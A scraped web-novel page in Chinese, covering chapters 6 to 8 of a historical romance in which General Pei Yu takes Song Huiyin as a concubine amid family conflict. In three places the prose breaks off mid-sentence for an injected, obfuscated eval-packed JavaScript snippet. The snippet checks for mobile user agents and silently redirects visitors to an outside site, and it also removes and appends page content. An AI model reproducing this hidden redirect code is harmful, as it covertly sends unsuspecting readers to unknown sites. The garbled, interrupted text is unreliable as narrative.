一道洪亮笑声自屏风后传来。宣帝头戴冕冠,其天庭饱满,地阁方圆,一双丹凤眼如炬,身着玄朱金线曲裾袍,从帷幔后踱步而出。 裴彧上前一步跪拜行礼:“下臣裴彧,恭请陛下万安。” “起来吧。” 宣帝双手插腰,走至正中紫檀木矮榻上跽坐,同时招呼裴彧坐在他身前的锦席上,语气和蔼,“坐。” “东瓯这一仗你赢的漂亮极了!扬我南朝国威,朕心甚悦。加封食邑二千户,领虎贲中郎将,掌虎贲宿卫。” 裴彧嘴角噙着淡淡的笑,再拜下去,“下臣领旨,定不负陛下重托。” 宣帝大悦,“你还想要什么,朕都满足你。” 裴彧噙着笑,“先攒着,下次再找陛下要。” “依你。” 宣帝抚着美髯须,伸手虚扶了一把,揶揄道:“起来吧,此处就你我二人,不必多礼,唤朕姑父即可。” “礼不可废。” “什么不可废,你快过来与朕讲讲东瓯的战况。”宣帝状似蕴怒,招手示意裴彧靠近些。 裴彧哑然失笑,拖着锦席凑近宣帝,“若传出去,御史又要参臣以下犯上,不懂尊卑了。” 宣帝双眼一瞪,吹胡子瞪眼道:“谁敢?” 他见裴彧一脸不信,也想起了旧事。 裴彧一年前方回长安时,宣帝天天拉着他进宫相谈匈奴战事,君臣二人私下相处随意,被宣帝一时说漏嘴,传到御史兰台那群老夫子耳里,连着一月参裴彧不尊君父,以下犯上。 宣帝尬尴笑笑,忙解释,“上次是误会,这次朕绝不会说漏嘴。” 王常侍老神在在的守在门外,拦住要进去送茶和送果子的内室,挥手道:“下去吧,这里咱家伺候就行,你们下去吧。” 他身旁一眉清目秀,眼神提溜转的小黄门连忙凑上跟前,讨好道:“常侍大人,你说陛下和裴将军在里头聊些什么呢,半个多时辰了还未出来。” 王常侍斜了他一眼,嗤道:“不该问的别问,仔细你的脑袋!” 他往门缝里斜了一眼,里头两位正聊得起劲,陛下爱重裴将军,可不比哪位皇子差,他曾私下听见陛下抱怨过,为何裴彧这般的儿郎不曾出在他们家。 不多时,三名宫婢沿着宫道朝宣室殿而来,当中那位着青绿宽袖曲裾,头发分两边挽在脑后,身后跟着的两名穿着宫中制式的湘色短襦长裙,挽着双丫髻,款款走来。 王常侍面上带起笑,拉着身旁的小黄门上前,与那宫婢互相见礼,“大长秋今日怎么得空亲自前来,叫人传个话就成。” 那大长秋是皇后的贴身侍婢姚兰,掌皇后宫中大小事务,传达皇后号令。她年纪约莫三十上下,长眉薄唇,只见她微微屈身,不苟言笑:“王常侍,皇后殿下听闻裴将军已经进宫,特派我来接,不知陛下与裴将军相谈完没有?” 王常侍拢着袖笑道:“陛下正与将军相谈要事,大长秋稍作一会吧。” 王常侍伸手相邀她到隔壁耳室稍作休息,小黄门手脚麻利的端上茶水点心,放下帘子隔绝外头的冷风。王常侍拿起一旁的铁弯钩拨弄了下炭盆,和身侧的姚兰闲聊起来。 “常侍,大长秋,陛下与裴将军已谈完,裴将军出殿了。”小黄门立在门外回话。 姚兰朝王常侍点头一番,随后带人出耳室朝裴彧的方向走去,莞尔问候:“奴先在这里恭贺裴将军了,皇后殿下挂念您多时,请您一叙。” 裴彧弯腰穿好鞋履,抬头看见久违的姚兰,他倚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315280|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着门框低笑,笑声如碎玉轻撞,骄阳落肩,“姚兰姑姑安好。” 椒房殿器物奢靡,墙壁均用花椒籽混合黏土涂壁,芳香驱虫,冬暖夏凉。地面铺设精印花陶砖,绛红云锦帷幔层层铺设,殿基下设有火道,冬日无需炭盆,可赤足行走。 裴彧跽坐在彩漆矮足案前,面前摆着精美漆具,炙烤羊肉色香四溢,宫婢手持漆勺替他上酒,他端起漆器酒盏饮了一口,视线投向正位的裴皇后。 裴皇后年近四十,容色保养得当,使她看起如同三十岁左右的妇人一般。她眉间坚毅,唇形饱满,鼻尖那粒琼珠似的圆点痣更显精致,隐约能看见年轻时的风姿。 她轻轻额首,示意身侧的婢女端着拖盘上前,道:“这是太医令调制的上好伤药,这些都带回去,莫要让姑母忧心。” 裴彧接过拖盘上的木匣道谢:“多谢姑母,都是些小伤无碍。” 裴后笑着摇头,她穿着缥碧直裾罗杉,简洁大方,举手投足间尽显洒脱之意。头发用只金雀发钗挽在脑后,手指轻轻抚着手臂上的血玉镯道:“千里之堤,溃于蚁穴,你莫要仗着年轻不注意身体。” 裴彧恭敬应答。 裴后起身走到窗前,细眉宫婢递上剪刀,她抬手修剪一旁的茱萸盆栽,一边问道:“你跟陛下聊了些什么?” 裴彧放下酒盏,直言:“陛下好奇东瓯战事,拉着我聊了很久。” 裴后掩面笑道:“陛下性子还是和从前一样,喜爱听这些。” 她放下剪刀,微笑的看向裴彧道:“如今东瓯战事已平,你在长安可以多留一阵子,正好解决终身大事。” 裴彧无奈:“姑母,侄儿还……” 裴后打断裴彧,“少拿那些话来搪塞予,予可不是你那好蒙蔽的阿母。阿兄就留下你和阿衍两人,如今延绵子嗣才是你的第一要事!” 她放缓语气,谆谆教诲,“元晞,你已年近二十,旁人家的儿郎孩儿都遍地跑了,独你还孤身一人。你若还惦念柳檀,那也无妨,姑母选了几个良家女子你先带回去,至于那柳檀,等她守节期满你再娶她进门。” 裴后双手击掌,姚兰领着四名宫婢进殿,四人罗裙曳地,身形袅袅。有娇柔婉约,有明艳张扬,有灵动活泼,有清冷出尘。皆含羞带怯的望着裴彧,眼里露出情丝。 裴彧放下碗著,视线在那气质清冷的宫婢身上停留一瞬,抬手婉拒,“多谢姑母好意,只是侄儿昨日已经纳了一妾。” 裴后面露疑惑,“你莫不是在诓予?” 她这侄儿哪哪都好,少年成名,青年才俊,唯独婚事一事上事事推辞,也不知那柳檀给他下了什么迷魂药,这么多年来就惦记她一人。 “侄儿不敢,那人姑母也认识,她叫宋徽音。” 裴后喝茶的手臂一顿,面色惊异,“宋徽音,宋渭之女?” “是她。” 裴后眼神闪烁,忽而掩唇失笑,微微摇头,“你既属意她怎的不早说,予何至于……” “她不错,有她在你身边予也放心了。” 裴后递给姚兰一个眼神,示意她把众人带下去,等人都离开后,她才谈起正事:“太子此次巡视冀州有功,陛下在朝堂之上当众说要将禅台修建一事交给他,此事你怎么看?” 裴彧端起酒盏,酒液荡漾,“是好事,也是坏事,若修建得当自然是一本万利,稳固太子地位,只怕有人从中作梗,利用天灾一事弄权构陷。” 裴后也沉重的点点头,想起太子面露失望,“要是太子有你一半警觉就好了……” “殿下年纪尚小,心性未定。”裴彧取过匕首,将炙烤猪肉切成小块摆在兽纹漆盘中递给裴后。 裴后接过漆盘叹气:“他就比你小两岁,行事还没你一半周全。” 裴彧没有接话,转而提起另一件事:“侄儿想出京前往函谷关迎接太子。” 裴后皱眉,不赞同道:“你才回来,还未休整,如何能再出京?” 裴彧:“太子带的人手不多,臣不放心。” 裴后遂不再多说什么,指着右侧摆放的绫罗绸缎,金饰玉器道:“时辰不早了,你也早些出宫去见你母亲,前些时日她得了风寒,这些东西是予为她准备的,你一道带回去。” 裴后顿了顿,想起裴府里还有一位爱裴彧如痴的表妹,如今再加上一个宋徽音,不知道有多少热闹可以看。 她眼中泛起兴味,唯恐天下不乱道:“待你回来,就多陪陪你母亲,还有你那新纳的美娇娘。” 7. 第 7 章 徽音和颜娘跟随方木来到裴府,马车停在裴府侧门,徽音扶着颜娘的手臂走下马车,打量着面前这坐历经两朝风雨的华贵府邸。 裴府的前身是前朝某位王爷的府邸,南朝建立后,这座王府被赐给有从龙之功的裴家,屡次修缮后变成如今的模样。 此处位置靠近内城,占地数十亩,青砖陶瓦,歇山顶的屋檐一层高过一层,数不清这座大宅内有多少房屋林舍,外院没有刻意的奢华布置,却处处透着世家大族的底蕴。 方木腰间挎着横刀走到徽音主仆二人面前,看清徽音的容色后倒吸一口凉气,心中不禁默念少将军威武。 他看着徽音苍白的脸色不禁放轻话音:“少将军吩咐我等将女郎先送回府,女郎,请吧。” 徽音顺着他指的方向看去,鎏金乌黑的侧门被人拉开,森严的高门楼阙令人压抑不堪,门后是弯曲的长廊和看不清的尽头,仿若一只巨兽张开獠牙,将人吞噬。 她朝方木轻轻点头,抬步走进侧门。从侧门长廊绕出,裴府后花园的景色映入眼前,偌大莲池湖泊在光下波光粼粼,假山叠石,湖中心的石亭飞檐翘角,两侧垂下的织金锦随风舞动。 方木带着她们二人一路走到前堂会客处,途中道路曲折,途中遇见不少绾单髻,着碧色襦裙的婢女,偷偷打量三人。走了近一刻钟,三人停在一处宽阔的古朴屋舍面前。 此间高大宽敞,正中间设立主位,两侧摆列宾客锦席。主位上跪坐着一位美妇人,身形柔弱,蹙着眉,看容貌约莫三十岁,着深碧色曲裾,下摆层层叠叠拖至地面。 她梳着高髻,髻上拆满珠翠花钿,无一处空余。两侧立着六名窄袖侍女,低眉垂眼。左侧宾位上跪坐着一妙龄女子,她身体微微前倾,正笑意盈盈的和妇人闲话。 徽音脚步不停的打量二人神色和穿着,美妇人她认识,她是裴彧的母亲,裴氏夫人。妙龄女子想必就是那位寄住在裴府的表妹贺佳莹,裴夫人母家的小女郎,也是众所周知的未来裴彧的妾室。 徽音垂着眼想对策,裴夫人因其出身原因素来不喜京中贵族女娘,平日宴席上徽音碰见她都是一副不爱搭理的模样。再加一个对裴彧“情根深种”的贺家表妹,今日恐怕难以善了。 堂内二人也注意到徽音等人的身影,止住话头朝这边看来。方木走到堂前行礼回话:“方木请女君,贺女郎安。禀女君,少将军今日进宫向陛下复命。” 他微微侧开身,露出身后的徽音,一脸喜意,“这位是少将军路上收拢的妾室,少将军命我等护送她回府。” 堂内一瞬安静,贺佳莹面上笑意僵住。裴夫人捧着的碎玉盏摔落在地下,玉器碎裂的声响惊醒众人。 徽音上前两步,双膝屈下,双手交叠于胸前向裴夫人行礼。 “徽音问夫人安。” 裴夫人顾不上身后侍女的搀扶,她向前倾身瞧清了徽音的容貌,捂着胸口颤抖道:“宋徽音,怎么是你?” 她头上花枝乱颤,脸色难看。 一旁的贺佳莹上前搀扶住裴夫人,她凑进裴夫人耳边隐晦道:“姨母,宋徽音乃罪臣之女,若是让人知晓我们裴府收留她可如何是好!” 徽音听见她们的耳语,她看着裴夫人越来越沉的脸色忽然明白过来,裴彧为何要着人先行送她回府,又为何不曾交代只言片语,他是故意的。 她视线移至贺佳莹脸上,贺女双眼嫉恨,毫不掩饰的恶意扑面而来,姣好的面容因她的神色变得扭曲起来。 下一刻,就听裴夫人强硬道:“什么妾室,我儿并未传信,定是你被这女子妖言媚住,还不将人赶出去,莫脏了我裴府。” 方木一脸摸不着头脑,瞅着裴夫人的脸色解释:“夫人,今早是少将军亲口有言……” 他话还未说完便被贺佳莹一顿抢白:“住口!你是裴府侍卫,为何维护外人,女君的话你也不听了吗?” 方木楞在原地,嘴巴动了动,不知该如何解释。他跟在少将军身边近三年,随他上马杀敌,比武弄箭,还是第一次遇上后宅女眷之事,一时间哑口无言,顿在原地无措极了。 裴夫人不再理会他,她一脸厌恶的盯着徽音,挥手吩咐身后的婢女上前赶人。颜娘护犊子的挡在徽音面前,面露凶光的拦住用前的裴府婢女。 六名婢女团团围住徽音和颜娘,伸手驱赶拉扯。徽音抬手抓住迎面挥来的手掌,目光冷漠的划过她们,上前一步,“裴将军平定东瓯立下大功,满城都在盯着裴府和宫中的一举一动,夫人当真要在此时将我逐出裴府,叫天下人皆知吗?” 她甩开动手的婢女,扯落桎梏颜娘的几人,将人护在身后,仰头凝望裴夫人继续道:“陛下宽宥,并未对宋府家眷降罚,我如今是良民之身,不会为裴府带来任何灾祸。” “何况,”徽音扫过面色难看的贺佳莹,抬手指着方木,“你们不认我,难道不认他吗?他是裴将军近卫,若没有他的吩咐,他敢堂而皇之将我带进府吗?” 方木回过神,单膝跪地抱拳,“女君,确实是少将军吩咐的。”他偷偷拭着汗,心中暗自吐槽,神仙打架小鬼遭殃,定是早上得罪少将军他才故意将这个苦差交给他。 裴夫人被徽音的话吓住,六神无主的看向贺佳莹。徽音也抬眼望去,两人视线在空中相撞,彼此都明白对方的心思。 贺佳莹收回视线,从牙缝里挤出几句:“姨母,她的话有些道理,不如就先让她留下,等表兄回来再议。” “对对对!” 裴夫人连连点头,指着前庭道,“你去门口等着,待我儿回来再收拾你。” 裴夫人说罢转身快步离去,头上的珠翠摇曳,叮叮当当响个不停,长裙拖在地上不慎绊住脚,她胡乱踢踏几步,身影消失在前堂。 贺佳莹落后一步,打量徽音的面容升起妒意,吩咐身旁的婢女:“你去盯着她们,不许她们随意走动。” 徽音站在堂口,方木不好意思的上前赔罪,她带着浅笑安慰:“我无事,方侍卫先去忙吧,想必裴将军很快就回府了。” 初春的泥土刚解冻,绿芽才抽出枝条,寒气顺着地底席卷全身,早先二人一直待在马车上,置有炭盆,下车时并未多穿,只穿了件三重曲裾,并不御寒。 堂口风大,颜娘替换了一个身位给徽音挡风,她心疼道:“这裴府的日子不好过。” 徽音苦笑:“自阿父出事后,哪天好过过。” 她垂下眼,握着颜娘的双手捂在怀中生热,将今晨到现在发生的事情在脑海里面捋了一遍。 颜娘又道:“早前就曾听说裴夫人当不住事,今日一见果然如此,事事被人牵着鼻子走。” 徽音想起这位裴夫人的来历,她原是益州永昌郡小户出身,彼时还未娶亲的裴擎奉旨巡查益州,遇上了正值青春年华的裴夫人,对她一见难忘,排除万难娶回家中。 成婚后裴擎未曾有过第二人,裴家后宅无勾心斗角,她自然心性单纯,再没过几年裴擎战死,裴彧掌家,更加不会有人得罪她,一辈子顺风顺水。 颜娘回头观望盯着她们二人的侍女,凑近徽音道:“女郎,她们只说不许我们乱走,奴扶你去后头回廊下等着。” 徽音抬眼看了下天色,心中默算裴彧的脚程,算算时间他应该要回了。她朝颜娘摇摇头。 一刻钟后,高大庄巍的双阙楼前,裴府中门大开,裴彧的身影出现在门口,他矫健的翻身下马,卸下佩刀大步向前。 刚跨进府门,就见徽音立在前庭,面色泛白,微弱咳嗽,身姿如弱柳扶风。他移开目光投向一旁的婢女,婢女立刻跪地行礼,将方才发生的事情一一道来。 裴彧面无表情的额首,就见左侧廊道上传来凌乱的脚步,裴夫人提着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315281|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙摆快速走来,身后簇拥着一群妙龄婢女,她人未到声先至:”彧儿,你可回来了。” 他向前两步行礼,“儿子问阿母安。” 裴夫人连连应声,含泪上下打量裴彧,拉着他就要进入前堂,她转身时,正好和站在庭中的徽音对上眼,脸色瞬间下沉,变脸的速度令徽音惊叹。 裴夫人抬手指着徽音道:“方木那小子将这女人带回来,说她是你妾室,彧儿,这是怎么回事?” 裴彧扫了眼垂头不语的徽音,简洁了当道:“方木说的没错,儿子要纳要宋徽音为妾。” 裴夫人被惊住:“为何是她?你纳了她,那佳莹怎么办?” 裴彧没有回答,而是移开话题:“母亲,先将她安置下来。” 裴夫人恨恨的瞧了眼徽音,招手唤来一个粗壮仆妇:“带她去临水阁安置。” 徽音从始至终未曾抬眼看过裴彧,她领着颜娘屈身行礼后,跟着那仆妇离去。等她们离去后,裴彧搀着裴夫人进入正堂,颇有些无奈道:“儿很早就曾说过,只当佳莹是妹妹,从未有过其他想法。阿母还是尽早为表妹择一佳婿。” 裴夫人面露焦急,她是最明白贺佳莹对裴彧的心思,贺佳莹十三岁到裴府便将一颗心都挂在裴彧身上,奈何贺家败落,她的出身撑不起裴彧的妻位。 更何况,贺家已经出了一个她做裴府夫人,裴后是绝不容许贺家再出一个裴夫人。是以这些年,她和贺佳莹从未肖想过裴彧的妻位,只等裴彧成婚后将她塞给裴彧做妾。 思及此处,她挤出两行泪:“彧儿,你表妹对你一片痴心天地可鉴。何况贺家早已落败,你看着母亲的面子上纳了她吧。” 裴彧最怕的就是裴夫人这副垂泪的模样,早些年父亲逝去,他也远赴代郡接手裴家军,多年不归,只留寡母和幼弟在京。 他知母亲品性,明白她与宫中裴后说不到底一起,后宅寂寞,贺家表妹代替他陪伴母亲,她也能活得舒心些。 他握住裴夫人的手掌,依旧未曾松口:“表妹陪伴阿母多年,一应嫁妆我裴家来出,阿母可以为表妹择近些人家,也便她日后回来看您。” 裴夫人看着面容冷漠的儿子,心中浮起悲戚,她捶着胸口哭号,声音尖利:“你表妹倾心于你人人皆知,如今的长安城还有谁愿意娶她,你这是要逼她去死啊!” 落后一步赶来的贺佳莹将堂内二人谈话皆听了去,她心中惴惴不安,表兄不肯纳她,定是因为那个狐媚子! 她盯着后院,眼底满是怨气,婢女疏影看着她毒蛇般的眼神打了个寒颤,她摸着身上泛起的疙瘩小心问道:“女郎?” 贺佳莹收回眼神,猛的掐了一把自己,扯散头发,揣着眼泪扑进正堂,“表兄就这般容不下我,要将我胡乱配人?既如此,我不如绞了头发做姑子去,也免得日后叫人作践!” 裴夫人看着跌坐在地上的凄凄惨惨的贺佳莹,呜咽一声扑过去,抱着她凄惨的哭诉。裴彧拧着眉头,看着母亲与表妹哭作一团,最终他松口道:“表妹婚事我不会再插手,但我绝不会纳她。” 裴彧越过两人离去,裴夫人还想再劝,却被儿子冷硬的表情劝住。贺佳莹万分不甘,梨花带泪的看着裴彧道:“表兄不愿纳我,却愿意纳宋女,难道是因为我不如她貌美吗?” 裴彧方才还带笑的面色冷下来,盯着地上的哭诉的人不语。 裴夫人看着裴彧神色转变,明白裴彧生气了。她抱紧贺佳莹不让她再开口,裴彧自幼桀骜不驯不服管教,少时这个脾性不知吃了他父亲多少打,他认定的事无人能叫他改变主意。 她对这个母家的侄女视若亲女,自是不愿意她受到伤害。 裴彧淡淡扫了眼贺佳莹,轻描淡写道:“宋徽音已入府,其余事还请母亲操持一二。” 他转身离去,不再给地上的贺佳莹一个眼神。 8. 第 8 章 临水阁,顾名思义临水而建,位于后院湖泊西北方位,建有上下两层,带一小院。徽音和颜娘跟着那仆妇七拐八拐来到此处,一眼就爱上这个地方。无它,裴夫人不喜徽音,安排的住处自然偏僻静谧。 领路的仆妇招手将阁内的两名婢女唤出,吩咐二人好生伺候徽音,恭敬的请徽音早些安置,随后回去向裴夫人复命。 “奴阿桑,阿衡,请女郎安。”两名婢女屈膝向徽音行礼,她们年纪皆不大,约莫十六七岁的模样,面容稚嫩,瞧着比徽音年岁还小些。 徽音扶起两人,声音柔和:“不必多礼。” 她转身向二人介绍颜娘,“这位是我的傅母,你们唤她颜娘便可。” 阿桑和阿衡心性尚小,心中想的什么都写在脸上,在裴府内不受什么重视,打发到这偏远屋舍,没有过多的教导。两人偷摸的打量徽音交互眼神,还当旁人不知。 进了临水阁,外院不大,角落里种了颗大槐树,正好将庭院一半遮住。一楼便是会客厅,室内陈设雅致,地铺木板,宽敞通风。左右两侧设有木廊,分别是茶室和婢女休憩的耳房。 徽音提着裙摆上了二楼,二楼陈设与一楼一致,是起居坐卧的地方。设有阁道,可凭栏观湖。 临窗处有一张彩漆矮榻,折腾了大半日,她实在是有些累,徽音来不及多看,脱鞋躺上去,进入梦乡。 起初她觉得有些凉,不一会儿颜娘端上来两个炭盆,屋内暖烘烘的,徽音陷在梦境里。梦里,宋家还在,她端坐在宋府的回廊里,无忧无虑的弹瑟抚琴,阿母和阿弟在一旁拍手叫好,阿父坐在画架旁悠然落笔,阖家欢乐的景色跃然纸上。 一曲终了,梦醒。 徽音茫然的睁开眼,眼角的泪珠滴落,她将头支在小木几上,怔怔的望着窗外黯淡的天色,好半天才反应过来自己身在何处。 颜娘推门进来,捧着热食汤饭放在矮榻旁的小木几上。莲形烛台层层点燃,颜娘捏着湿透的帕子凑近徽音给她擦脸,“午间裴夫人派人送了不少东西过来,还有人传话,说……” 徽音接过帕子自己擦拭,她瞧见颜娘欲言又止的模样问道:“说了什么?” “裴夫人已经松口了,三日后举行纳妾礼。裴将军尚未娶亲,她吩咐一切从简,在府内过个名头就成。” 徽音自午时后就未曾进食,腹中已是饥饿难当。她端起栗米饭用了两口,压下胃中的不适。同时安慰颜娘:“这是好事,不用宴请见外人,又给了我适应的时间,莫伤心了。” 颜娘别过头擦干泪继续道:“裴夫人还拨了两个粗使仆妇过来,我已经安排人住下了。原来那两个我丫头我瞧了,没什么心眼,新来的这两个时不时就朝我打探女郎的事迹,叫我给堵回去了,想来一时半会不会安分。” 徽音用完饭擦净手,吩咐道:“既是粗使仆妇,不叫她们二人上楼即可。” 她起身打量这座阁楼,矮榻左边摆放一座形体宽大的独扇屏风,两侧帷幔垂落,屏风后是歇息的内室,正对面是一套紫檀书案,地上铺着柔软的毛毡地毯。右侧是浴堂,矮榻右侧开了一道小门通往阁道。 徽音推开小门走到阁道上,残阳西沉,天地间只剩苍茫暮色,她闭上眼张开手,感受片刻的自由。 半响后,阿桑端着漆盘站在二楼屋外,恭敬道:“宋女郎,夫人着人传话,戌时分行纳妾礼,这是送来的衣物首饰,奴伺候您更衣。” 颜娘回头惊异道:“午时分明说的是三日后举行,为何突然改时间?” 阿桑垂着头低语:“奴也不知道,是方才女君身边的乔媪来传的话。” 颜娘还想再问,徽音拉住她,语气平静:“早晚都是一样。” 她吩咐阿桑把衣裳首饰留下,将人打发下去。徽音提起送来的裙裳,那是一件浅粉色曲裾,绣着桃花缠枝样式,颜色也些老旧,袖口处还有磨损。 颜娘服侍徽音穿上衣裙,曲裾并不和徽音身形,胸口处紧绷着,看花样身形应是贺佳莹的旧衣。她心中憋着一口气,裴家欺人太甚,竟着人送来旧衣羞辱女郎。她铆足了劲替徽音梳妆打扮,誓要惊艳裴府众人。 正阳院内,裴夫人还带着气,不肯理会裴彧,只端着茶细细品着,连半分眼神都未给。 裴彧失笑片刻,从袖中掏出一个木盒递给裴夫人,“这是儿子在东瓯时偶然所得的玉石,您看看。” 裴夫人斜着眼角,端坐着没有动弹,裴彧无奈,打开木匣取出红宝石吊坠,亲自送到裴夫人面前赔罪,“今日是儿子的不是,还请阿母大人有大量,莫跟儿子一般计较。” 红宝石闪着细碎的光芒,裴夫人一眼就被深深吸住,她迫不及待的取走宝石吊坠戴上,朝身后乔媪问道:“好看吗?” 得到乔媪的赞美后她转过头,气也消散大半,冷哼道:“还算有了良心,没有有了媳妇忘了娘。” 裴彧没有回话。裴夫人又心疼道:“你才刚回来了,明日又要走,陛下怎么不让你歇歇?” “是儿子主动请命,太子回京,儿子亲自去接才放心。” 裴夫人听闻事关太子也住了嘴,继续操心起裴彧的婚事,她抱怨道:“何必如此着急,不如再等等,等你回来后,再给宋徽音名分?” 裴彧手指翻转茶盖,长睫垂下映出阴影,漫不经心道:“早晚都一样。” 徽音由着婢女引领到裴夫人屋门外,她弯腰退去鞋履,身侧的婢女突然撤手,她身形不稳之下踩上衣摆,一个趔趄带起身上环佩叮当,内室的二人听到动静向外看来,守在外面的仆妇恭敬道:“女君,少将军,宋女郎到了。” 两侧的婢女撩开珠帘,徽音望了眼那婢女,整理了下衣摆,穿着绫袜踩在地铺上,裴府富贵,裴夫人这处居室铺满了栽绒地毯,温暖舒适。 她徐徐走到居室中央跪下行礼,裴夫人抱着绘彩陶手炉,挑剔的打量她。她左手侧的锦席上,裴彧倚靠在凭几上,姿态神色放松。 “夫人安好,裴将军安好。” 裴彧抬眼望去,灯下的少女乌发挽起,双侧垂髻用月牙银饰固定,眉眼如画,琼鼻樱唇。额头描画的桃花钿衬得肌肤粉光若腻,略微不合身的衣裙显得她纤柔曼妙,清冷的眉眼也变得艳丽起来。 她盈盈秋水的抬眼,目光和裴彧相接。裴彧好似被摄住,被她拉进春色满园里。他不自然的端起耳杯饮酒遮掩神色,手指无意识的交叠摩擦。 裴夫人也被徽音的容色晃了眼,她年轻时就是远近闻名的美人,嫁入裴家后更是见过不少绝色,如当今裴后,楚国夫人等。她知徽音貌美,心中不经泛起嘀咕,有如此珠玉在前,裴彧以后哪还瞧得见其他人。 她面上不显,淡淡应声:“起来吧。” 徽音依言直起身,由婢女引领着跪坐在一旁等着,低眉垂眼。 裴夫人扫了眼裴彧神游天外的模样,清了清嗓道:“本来是定在三日见礼的,但彧儿有事要离京,趁着他还在将你们的事办了。” “我知以你的出身,落到如今这个地步必定心有不甘。你现下做了我裴家的妾,裴家自然护你无忧,往后你要恪守妇道遵从家训,好生侍候夫郎,可懂?” 徽音侧身朝着裴夫人的方向,双手放在膝上听训。裴夫人训诫完,良久都没有等到徽音的回应,她皱眉的望向徽音。 少女挺直的身影孤傲清冷,她侧着脸,烛火昏暗看不清神色。良久,她回道:“妾谨记。” 裴夫人舒了口气,继续道:“彧儿尚未娶妻,敬茶等以后再敬正妻。彧儿还有个弟弟叫裴衍,现在太学读书,每旬回来一次,日后你就见到了。” 谈起这个小儿子裴夫人就来气,连带着看一旁的裴彧也不顺眼起来,扶着额头怒气冲冲的同裴彧告状:“等你回来要好好给我教训那小子,好的不学净学坏的,把你少时的那些纨绔习气学了个遍!整日在学堂打架生事,祭酒都向我告了三回状!” 徽音猝不及防听见这断话,抬眼去瞧对面的裴彧,他少时竟是个纨绔子弟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315282|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在看不出来。 裴彧坐直身子,与徽音面对面相坐,看清她眼里尚未消散的笑意,他一边安抚裴夫人一边盯着她:“阿母放心,我自会收拾他。” 裴夫人不耐烦的挥挥手,“我累了,都下去吧。” 徽音和裴彧同时起身行礼,一同退出内室,她落后一步跟在裴彧身后,由着婢女为二人穿上鞋履,离开正阳院。因是在内院,裴彧并未带着近卫,只徽音身后跟着一位正阳院的婢女。 三人走到木廊拐角处,裴彧停住脚步打发了那婢女,转身盯着徽音,“很好笑吗?” 徽音抬头撞进他幽深的眼底,心中一跳,缓缓摇头,“裴将军何意?” 裴彧逼近两步,徽音不自觉退后抵在墙壁上,她只到裴彧胸膛处,只能仰头望着他,檀口轻启,不明白他何意。 “你该称我郎君。” 徽音睫毛微颤,握紧手心,她实在叫不出口。 “妾不该笑,妾有错。” 裴彧嗤笑:“方才不是还说不明白何意吗?” 徽音咬牙,万万没想到裴彧是这等睚眦必报的性子,她伸手掐了把腰间,逼出泪光,小声道:“裴将军恕罪。” 回廊上,两人影子交缠,忽有风吹过,陶灯火苗摇曳,照映在徽音侧脸明明现现,长睫盈泪,面带恳求。 裴彧一顿,退后两步口气冷淡:“少做出这幅柔弱姿态,我不吃这套。” 徽音:“……是”她默默揉着吃痛的腰,心中不禁诽腹,软硬都不吃,那吃哪套? 见她一脸吃瘪的神色,裴彧脸颊陷入一道微不可察的漩涡,转身负手要走。徽音出声挽留:“妾想问问我阿弟的下落。” 裴彧脚步不停,身影很快引入黑暗,声音清亮:“未找到尸身,已经派人去四周村落查看。” 徽音放下心,没有尸身就是最好的消息,她披着夜色回到临水阁,颜娘提着灯等在院外,一见她就迎上来,在徽音耳边絮絮念叨。 进了院子,一楼堂内烛火通明,阿桑和阿蘅一脸紧张的跪坐在堂外阶梯上,身后还立着两位陌生的粗衣仆妇。见徽音进门,四人都整齐跪在地上,齐声行礼:“奴见过娘子。” 宋娘子,徽音轻念出声,也没有心思再想其他,将人都遣下去休息,只带着颜娘上楼。盥沐过后,她坐在榻上,靠在小几案上,听颜娘说着打听来的消息。 颜娘取过混合泽兰汁的膏脂均匀的涂抹在徽音发尾,徽音这头长发从蓄起就经过她手护理,到如今一头发丝浓密柔顺,如同绸缎般细腻。 她手下动作不停,一边说着:“奴今日问了阿桑等人,这裴府共有三房,大司马与当今皇后同出一脉,其余两房庶出,各自家眷都在任上,逢年过节和述职才回。” “裴府大房共有四位主子,除了尚在太学读书的小郎君,其余人今日我们都见过了。听说这位小郎君性子极为跳脱,最爱打架斗殴。” 听到这里,徽音突然想起了回廊上与裴彧的对持,腰间还隐隐作痛。 颜娘继续说着:“那位贺女郎的父亲是裴夫人的兄长,自幼父母双亡,被裴夫人接到身边教养,视同亲女。” 徽音现下明白过来,裴彧为何会突然改口收下她,一是替他做挡箭牌,挡去其他桃花,二则便是这位贺女郎,既是亲表妹又是母亲心肝,动不得,骂不得,打不得。 他心有白月光,自然不愿纳表妹为妾耽误其后半辈子,只不过这位表妹对他情根深种,非君不嫁。 徽音挑着火星,单手支着头神游天外,裴彧面上看着冷心冷肺放肆不羁,内里却心思细腻重视感情。 